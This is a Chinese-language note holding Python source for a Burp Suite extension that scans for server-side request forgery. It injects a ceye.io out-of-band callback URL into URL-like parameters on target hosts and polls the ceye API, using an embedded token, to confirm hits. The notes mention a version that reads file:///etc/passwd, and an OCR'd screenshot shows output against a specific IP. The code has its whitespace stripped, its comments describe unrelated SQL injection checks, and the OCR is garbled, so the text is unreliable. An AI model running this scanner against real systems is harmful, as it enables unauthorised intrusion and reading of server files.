<<ssrf.py>>
版本2
<<ssrf.py>>
ssrf的关键字参考https://www.secpulse.com/archives/4747.html
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
Domain
img
domain
...
来自 <https://sobug.com/article/detail/11>
测试环境用https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf的 weblogic漏洞
版本2增加了file:///ect/passwd文件读取的设置
#!/usr/bin/envpython
#-*-coding:utf-8-*-
#-*-coding:utf-8-*-
#!/usr/bin/envpython
#author:xiaodong
#支持mysql的报错注入和延时注入,mssql的延时注入检测
#如果需要,可以把注释掉的sql检测语句也加入到检测里
#bool类型检测自己手动检测就行,无需脚本
from__future__importwith_statement
fromburpimportIBurpExtender
fromburpimportIHttpListener
fromburpimportIHttpRequestResponse
fromburpimportIResponseInfo
fromburpimportIRequestInfo
fromburpimportIHttpService
importre
importurllib2
importtime
importthreading
importsys
reload(sys)
sys.setdefaultencoding('UTF-8')
SLEEP_TIME=3
saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt'
print"SSRFTEST\nauthor:xiaodong"
classFuzzSSRF:
def__init__(self):
self.ssrfFlag=re.compile(r'.*(test737627282726262627272727266226.txt\^\^\^).*')
classBurpExtender(IBurpExtender,IHttpListener):
globalurls
urls=[]
defregisterExtenderCallbacks(self,callbacks):
self._callbacks=callbacks
#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers=callbacks.getHelpers()
#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。
self._callbacks.setExtensionName("SSRFTEST")
#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。
callbacks.registerHttpListener(self)
self.fuzzSSRF=FuzzSSRF()
#获取请求的url
defget_request_url(self,protocol,reqHeaders):
link=reqHeaders[0].split('')[1]
host=reqHeaders[1].split('')[1]
returnprotocol+'://'+host+link
#保存结果
#获取请求的一些信息:请求头,请求内容,请求方法,请求参数
defget_request_info(self,request):
analyzedRequest=self._helpers.analyzeRequest(
request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象
reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。
reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。
reqMethod=analyzedRequest.getMethod()#获取请求方法
reqParameters=analyzedRequest.getParameters()
returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters
defceyefin(self,flag):
url='http://api.ceye.io/v1/records?token=23715ab222a6e221916405658caf5061&type=http'
headers={u"Content-Type":u"application/json"}
response=urllib2.urlopen(url,timeout=5)
ifflaginresponse.read().decode('utf-8'):
return"ok,foundassrfverifyit"
#获取响应的一些信息:响应头,响应内容,响应状态码
defget_response_info(self,response):
analyzedResponse=self._helpers.analyzeResponse(
response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。
resBodys=response[
analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
returnresHeaders,resBodys,resStatusCode
#获取服务端的信息,主机地址,端口,协议
defget_server_info(self,httpService):
host=httpService.getHost()
port=httpService.getPort()
protocol=httpService.getProtocol()
ishttps=False
ifprotocol=='https':
ishttps=True
returnhost,port,protocol,ishttps
#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)
defget_parameter_Name_Value_Type(self,parameter):
parameterName=parameter.getName()
parameterValue=parameter.getValue()
parameterType=parameter.getType()
returnparameterName,parameterValue,parameterType
#检查是否存在LFI
defcheck_ssrf_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValuessrf,parameterType):
thread_id=threading.current_thread().ident
#print'['+str(thread_id)+']'+parameterValueSQL
#构造参数
newParameter=self._helpers.buildParameter(parameterName,parameterValuessrf,parameterType)
#printnewParameter
#更新参数,并发送请求
newRequest=self._helpers.updateParameter(request,newParameter)
newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(
newRequest)
#新的响应
newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)
newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)
ssrf_flag=host+'.m4mta5.ceye.io'+'/test737627282726262627272727266226.txt'
#判断是否存在特征
errorInject=self.ceyefin(ssrf_flag)
iferrorInject:
#获取请求的url
newReqUrl=self.get_request_url(protocol,newReqHeaders)
content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[SSRFGET]',errorInject,newReqUrl,newReqHeaders,newReqBodys)
printcontent
#self.save(content)
print'-'*50
#每次burp发送请求时,都会调用该方法
defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo):
'''
:paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义
:parammessageIsRequest:标记是否为请求或响应调用方法。
:parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。
:return:
'''
#Proxy触发插件
iftoolFlag==4:
#处理响应内容
ifnotmessageIsRequest:
#获取请求包的数据
request=messageInfo.getRequest()
analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)
#获取响应包的数据
#response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。
#resHeaders,resBodys,resStatusCode=self.get_response_info(response)
#获取服务信息
httpService=messageInfo.getHttpService()
host,port,protocol,ishttps=self.get_server_info(httpService)
#获取请求的url
#reqUrl=self.get_request_url(protocol,reqHeaders)
#ifreqMethod=='GET':
iflen(host.split('.')[-2])!=3:
host_exp=host.split('.')[-2]+'.'+host.split('.')[-1]
else:
host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1]
#printhost_exp
#获取请求的url
#reqUrl=self.get_request_url(protocol,reqHeaders)
url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys)
#printurl
#ifreqMethod=='GET':
target_host=[','','']
target_ip=['108.61.84.54']
ifurlnotinurls:
#printurl
urls.append(url)
ifhost_expintarget_hostorhostintarget_ip:
ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'):
#print"staticsource"
pass
else:
error_threads=[]
parameterErrorSSRF=[]#报错语句列表
forparameterinreqParameters:
parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)
if'//'inparameterValue:
parameterValue="http://"+host+'.m4mta5.ceye.io'+'/test737627282726262627272727266226.txt'
t=threading.Thread(target=self.check_ssrf_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValue,parameterType))
error_threads.append(t)
t.start()
fortinerror_threads:
t.join()
else:
print"isarepeaturl"
![Burp Extensions Extensions let you customize aurp•s behavior using your own or third-party code o Up Type Python Python Python Tme- based sqlinject checks SQL Inject dig inje cbon*+int LEI GET Details Output Errors o Output to system console 0 @ Showinl_ll max-age=O, Upgrade-Insecure-Requests I User-Agent: MoziIIaEO CWndows NT 10 0, V'vOv'vE4) AppleWebKtE37 36 (KHTML, like Gecko) Chromey70 0 3538M 10 SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN S E, Cookie JSESS10NlD=rzgQcvGQmyhayLQHS034WvlhPKQ21 nfqrnf0NfT02qLX1 pkdSdQn!1728239034; 08 61 84 54 m4mtas ceye jonest737627282726262627272727266226 txt, connection: close] GET] - > ok found a ssrf verify t [Headers] http:.TI 08 61 84 54: 7001 /uddiexpIorerEearchPubIicRegistries [Bodys] [GET /uddiexpIorerEearchPubIicRegistriesjsp?rdoSearch=name8txtSearchname=sdf8txtSearchkey=8seIfor=ausiness+Iocation8btnSubmt=Search80perator=18txtSearchfor= HTTP/I Host 108 61 84 54: 7001 Cache-control: max-age=O, Upgrade-Insecure-Requests I User-Agent: MoziIIaEO C#ndows NT 10 0, V'vOvnvE4) AppleWebKtE37 36 (KHTML, like Gecko) Chromey70 0 3538M 10 SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN g E, Cookie publicinquiryurls=http://www-3jbmcom.'services/uddihnquiryapi!EMlhttp://www-3jbmcom/services/uddi/v2betahnquiryapi!EM V21http://uddiMemicrosoftcominquire!Microsoftlhttp://services xmethods net/gIuehnquire/uddi!XMethodsl; JSESS10NlD=rzgacvGamyhayLOHS034WvlhPK021 nfqrnf0NfT02qLX1 pkdSdQn!1728239034, connection: close] GET] - > ok found a ssrf verify t [Headers] http:.TI 08 61 84 54: 7001 /uddiexpIorerEearchPubIicRegistries [Bodys] [GET HTTP/I Host 108 61 84 54: 7001 Cache-control: max-age=O, Upgrade-Insecure-Requests I User-Agent: MoziIIaEO C#ndows NT 10 0, V'vOvnvE4) AppleWebKtE37 36 (KHTML, like Gecko) Chromey70 0 3538M 10 SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN g E, Cookie publicinquiryurls=http://www-3jbmcom.'services/uddihnquiryapi!EMlhttp://www-3jbmcom/services/uddi/v2betahnquiryapi!EM V21http://uddiMemicrosoftcominquire!Microsoftlhttp://services xmethods net/gIuehnquire/uddi!XMethodsl; JSESS10NlD=rzgacvGamyhayLOHS034WvlhPK021 nfqrnf0NfT02qLX1 pkdSdQn!1728239034, connection: close]](ssrf_files/clip_image00120d05af6-8031-413f-baaf-0b427f0d26ea.png)
